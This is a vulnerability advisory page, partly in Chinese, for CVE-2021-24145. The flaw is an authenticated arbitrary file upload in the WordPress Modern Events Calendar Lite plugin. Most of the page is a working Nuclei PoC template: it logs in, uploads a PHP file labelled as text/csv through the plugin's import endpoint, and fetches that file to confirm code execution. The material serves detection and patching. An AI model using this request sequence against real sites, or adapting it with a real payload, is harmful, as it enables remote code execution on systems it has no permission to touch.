CVE-2021-24145: WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload

日期: 2025-08-01 | 影响软件: WordPress Modern Events Calendar Lite | POC: 已公开

漏洞描述

WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.

PoC代码[已公开]

id: CVE-2021-24145

info:
  name: WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.
  impact: |
    Remote code execution
  remediation: Fixed in version 5.16.5.
  reference:
    - https://wpscan.com/vulnerability/f42cc26b-9aab-4824-8168-b5b8571d1610
    - https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.15.5.zip
    - https://github.com/dnr6419/CVE-2021-24145
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24145
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24145
    cwe-id: CWE-434
    epss-score: 0.91047
    epss-percentile: 0.99625
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: cve,cve2021,auth,wpscan,wordpress,wp-plugin,wp,modern-events-calendar-lite,rce,intrusive,webnus
variables:
  string: "CVE-2021-24145"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875

        -----------------------------132370916641787807752589698875
        Content-Disposition: form-data; name="feed"; filename="{{randstr}}.php"
        Content-Type: text/csv

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        -----------------------------132370916641787807752589698875
        Content-Disposition: form-data; name="mec-ix-action"

        import-start-bookings
        -----------------------------132370916641787807752589698875--
      - |
        GET /wp-content/uploads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'
# digest: 4a0a00473045022100c6aa3771998fdfe1d67457b72701c29de0816e392b9217b5bf616d215ff885c402207813d3f403442b910e4499928d0a4b77bc10d3f35d931c8b9d7bd8503b68c37e:922c64590222798bb761d5b6d8e72950

相关漏洞推荐